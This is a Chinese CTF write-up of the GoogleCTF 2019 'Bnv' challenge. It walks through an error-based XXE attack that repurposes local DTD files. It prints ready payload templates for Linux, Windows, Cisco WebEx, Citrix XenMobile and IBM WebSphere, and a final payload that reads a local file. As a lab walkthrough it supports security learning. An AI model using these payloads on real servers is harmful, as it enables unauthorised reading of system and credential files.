GoogleCTF2019Quals-Bnv
Created At :
Count:468
Views 👀 :
GoogleCTF2019Quals-Bnv
参考博客:https://blog.csdn.net/weixin_49656607/article/details/126388372
首先打开页面。

先抓个包看看。发现传参json格式数据, 可以尝试xxe,先将content-type改为application/xml,然后再把json格式的数据改为xml格式的数据。

但是发现基本的xxe和远程无回显的xxe都不行。
然后查wp发现,这里目标不能加载外部dtd,所以普通的xxe不行,但是可以利用linux本身的dtd。
本地的DTD文件
—————利用XXE与本地DTD文件—————-
定制Linux系统
1 2 3 4 5 6 7
| <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa '
Your DTD code
'> %local_dtd;
|
自定义Windows系统
1 2 3 4 5 6 7
| <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>
Your DTD code
<!ENTITY test "test"'> %local_dtd;
|
思科网讯
1 2 3 4 5 6 7
| <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>
Your DTD code
<!ENTITY test "test"'> %local_dtd;
|
Citrix XenMobile服务器
1 2 3 4 5 6 7
| <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>
Your DTD code
<!ENTITY test "test"'> %local_dtd;
|
任何Web应用程序在IBM WebSphere Application Server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes '
Your DTD code
'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
|
payload
所以我们这里使用Linux自带的dtd文件。
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
|
拿到flag

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。